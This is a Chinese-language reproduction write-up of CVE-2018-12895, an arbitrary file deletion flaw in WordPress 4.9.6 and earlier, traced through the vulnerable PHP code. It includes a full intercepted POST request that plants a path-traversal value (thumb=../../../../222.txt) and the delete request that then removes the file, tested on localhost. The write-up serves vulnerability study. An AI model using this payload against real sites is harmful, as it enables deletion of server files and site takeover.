# CVE-2018-12895 (Wordpress <= 4.9.6 任意文件删除漏洞) ###### tags: `CVE` `wordpress` 版本: wordpress: 4.9.0 - 4.9.6 WP管理者需要給一個帳號至少是author。 在wp目錄下創 222.txt (之後要刪除這個文件) ### 拉一張圖片上去並編輯 http://localhost/wp-admin/media-new.php ### 跳轉到編輯: http://localhost/wp-admin/post.php?post=16&action=edit (注意post=16 這邊會不一樣。) ### 此時f12尋找 _wpnonce 找到下面兩個 ``` POST 提交需要驗證這個值 <input type="hidden" id="_wpnonce" name="_wpnonce" value="ce98612b1e"> 第二步刪除文件是這個網址 <a class="submitdelete deletion" onclick="return showNotice.warn();" href="http://localhost/wp-admin/post.php?post=15&amp;action=delete&amp;_wpnonce=dfbd76d7c2">Delete Permanently</a> 也就是: GET http://localhost/wp-admin/post.php?post=16&action=delete&_wpnonce=dfbd76d7c2 ``` ### update 按鈕這邊開BP抓包: POST數據 刪掉改成下面的 ```http= POST /wp-admin/post.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/post.php?post=16&action=edit Content-Type: application/x-www-form-urlencoded Content-Length: 801 Origin: http://localhost Connection: close Cookie: wordpress_86a9106ae65537651a8e456835b316ab=test1%7C1678431720%7CYMV4UCh7IgXLCFEe1HqrgljbsECoj0EUYb6Qq1fCiHl%7Cb9ac91292e29beb9deec347481ccd215316087dcd762860f5ca8a868f985095b; Phpstorm-f62ebc4=0f75a308-192c-46b6-9825-3efeef40150b; wp-settings-time-2=1678263454; XDEBUG_SESSION=PHPSTORM; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=test1%7C1678431720%7CYMV4UCh7IgXLCFEe1HqrgljbsECoj0EUYb6Qq1fCiHl%7Cb0612ec960b2176d7f4600c03bf7da47974d6ea1e9b3d5ee559f2d278b3a4f35 Upgrade-Insecure-Requests: 1 action=editattachment&_wpnonce=ce98612b1e&post_ID=16&thumb=../../../../222.txt ``` 稍微分析一下 ``` action=editattachmen //代表進去 editattachmen 選項 _wpnonce=ce98612b1e //驗證 post_ID=16 //你編輯的圖片ID thumb=../../../../222.txt //圖片的thumb 被我們竄改 ``` 此時你可以用PHPSTORM跟進去。 wp-admin/post.php ```php= case 'editattachment': check_admin_referer('update-post_' . $post_id); // Don't let these be changed unset($_POST['guid']); $_POST['post_type'] = 'attachment'; // Update the thumbnail filename $newmeta = wp_get_attachment_metadata( $post_id, true ); $newmeta['thumb'] = $_POST['thumb']; wp_update_attachment_metadata( $post_id, $newmeta ); ``` $_POST['thumb'] 沒過濾 ```php= $newmeta['thumb'] = $_POST['thumb']; ``` 你如果慢慢跟進,會發現最後 圖片屬性會被序列化,我們的thumb 在最後面 進 sql ``` UPDATE `wp_postmeta` SET `meta_value` = 'a:6:{s:5:\"width\";i:289;s:6:\"height\";i:174;s:4:\"file\";s:14:\"2023/03/da.jpg\";s:5:\"sizes\";a:2:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:14:\"da-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:32:\"twentyseventeen-thumbnail-avatar\";a:4:{s:4:\"file\";s:14:\"da-100x100.jpg\";s:5:\"width\";i:100;s:6:\"height\";i:100;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"1\";s:8:\"keywords\";a:0:{}}s:5:\"thumb\";s:21:\"../../../../222.txt\n\";}' WHERE `wp_postmeta`.`meta_id` = 35; ``` 休息一下... 接下來進入第2步 作者利用了編輯介面的刪除選項,就是我們最開始找到的GET 請求: (記住_wpnonce 要根據自己的環境設置) ``` http://localhost/wp-admin/post.php?post=16&action=delete&_wpnonce=dfbd76d7c2 post=16 //編輯圖片的ID action=delete //進入 delete 模塊 _wpnonce=dfbd76d7c2 //刪除動作驗證 ``` wp-admin/post.php ```php= case 'delete': check_admin_referer('delete-post_' . $post_id); if ( ! $post ) wp_die( __( 'This item has already been deleted.' ) ); if ( ! $post_type_object ) wp_die( __( 'Invalid post type.' ) ); if ( ! current_user_can( 'delete_post', $post_id ) ) wp_die( __( 'Sorry, you are not allowed to delete this item.' ) ); if ( $post->post_type == 'attachment' ) { $force = ( ! MEDIA_TRASH ); if ( ! wp_delete_attachment( $post_id, $force ) ) wp_die( __( 'Error in deleting.' ) ); } else { if ( ! wp_delete_post( $post_id, true ) ) wp_die( __( 'Error in deleting.' ) ); } wp_redirect( add_query_arg('deleted', 1, $sendback) ); exit(); ``` 你慢慢跟進會走到最後 wp_delete_attachment 這個刪除附件函數的結尾附近 wp-includes/post.php ```php= if ( ! empty($meta['thumb']) ) { // Don't delete the thumb if another attachment uses it. if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) { $thumbfile = str_replace(basename($file), $meta['thumb'], $file); /** This filter is documented in wp-includes/functions.php */ $thumbfile = apply_filters( 'wp_delete_file', $thumbfile ); @ unlink( path_join($uploadpath['basedir'], $thumbfile) ); } } ``` thumb 剛剛進sql了 現在被撈出來 ``` $meta['thumb'] = ../../../../222.txt unlink 最後會刪除 222.txt ``` 心得: 這個洞還算比較簡單的,我在想就是一個$_POST 沒過濾,還可以進庫,最後居然可以從庫撈出。利用的發現過程可能是最以挑戰性的地方。